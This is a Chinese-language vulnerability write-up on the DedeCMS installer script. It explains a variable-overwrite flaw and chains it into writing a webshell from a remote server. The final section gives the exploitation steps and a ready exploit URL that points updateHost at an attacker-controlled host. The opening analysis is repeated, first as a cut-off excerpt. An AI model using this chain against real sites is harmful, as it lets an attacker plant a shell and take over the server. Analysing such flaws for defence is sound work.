## 1.漏洞分析 /install/index.php.bak or index.php ```php $s_lang = 'utf-8'; $install_demo_name = 'dedev57demo.txt'; $insLockfile = dirname(__FILE__).'/install_lock.txt'; //初始化了变量 $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';//初始化了变量 .... 29行 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); }//这里导致了可以变量覆盖 .... 373行 else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";//覆盖updateHost变量,可控制写入内容 $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w');//覆盖install_demo_name变量 可控制生成文件 if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); } ``` 1)/install/index.php(17-32h) <pre> $install_demo_name = 'dedev57demo.txt'; $insLockfile = dirname(__FILE__).'/install_lock.txt'; $moduleCacheFile =...
## 1.漏洞分析 /install/index.php.bak or index.php ```php $s_lang = 'utf-8'; $install_demo_name = 'dedev57demo.txt'; $insLockfile = dirname(__FILE__).'/install_lock.txt'; //初始化了变量 $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';//初始化了变量 .... 29行 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); }//这里导致了可以变量覆盖 .... 373行 else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";//覆盖updateHost变量,可控制写入内容 $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w');//覆盖install_demo_name变量 可控制生成文件 if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); } ``` 1)/install/index.php(17-32h) <pre> $install_demo_name = 'dedev57demo.txt'; $insLockfile = dirname(__FILE__).'/install_lock.txt'; $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc'; define('DEDEINC',dirname(__FILE__).'/../include'); define('DEDEDATA',dirname(__FILE__).'/../data'); define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__))); header("Content-Type: text/html; charset={$s_lang}"); require_once(DEDEROOT.'/install/install.inc.php'); require_once(DEDEINC.'/zip.class.php'); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } </pre> 上面代码红色标注部分,从$_GET,$_POST,$_COOKIE里面遍历初始化变量,${$_k} = xxxx; 很明显的一个变量覆盖。结合此处的变量覆盖和该文件后面的处理过程能够形成远程文件包含漏洞。 下面是step=11的程序代码。 <pre> else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); } </pre> 通过上面代码,可以利用变量覆盖伪造$rmurl地址,使之无内容,让$install_demo_name目标为config_update.php,因为$updateHost变量保存在其文件中,必须清空config_update.php的内容,我们才可以利用变量覆盖来控制$updateHost变量的值,然后获取我们构造在远程服务器的文件内容。 第一步,利用变量覆盖使得$s_lang变量的值在拼接好的$rmurl变量内容所指向的资源不存在,$install_demo_name值为../data/admin/config_update.php,然后通过write($fp,$sql_content)写入空内容到config_update.php文件中。 第二步,在自己的远程服务器上构建一个包含shell代码的文件,利用变量覆盖构造$updateHost为自己服务器的地址,$install_demo_name为将要写入的shell文件地址,dedecms/demodata.${s_lang}.txt为自己服务器上构造的文件路径。 成功后即可写入shell到指定的文件中。 ## 2.漏洞利用 1.在自己服务器根目录建立dedecms目录,然后在目录下建立demodata.a.txt($s_lang变量覆盖为a) 2.http://[host]/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=xxx.php&updateHost=http://[remote]/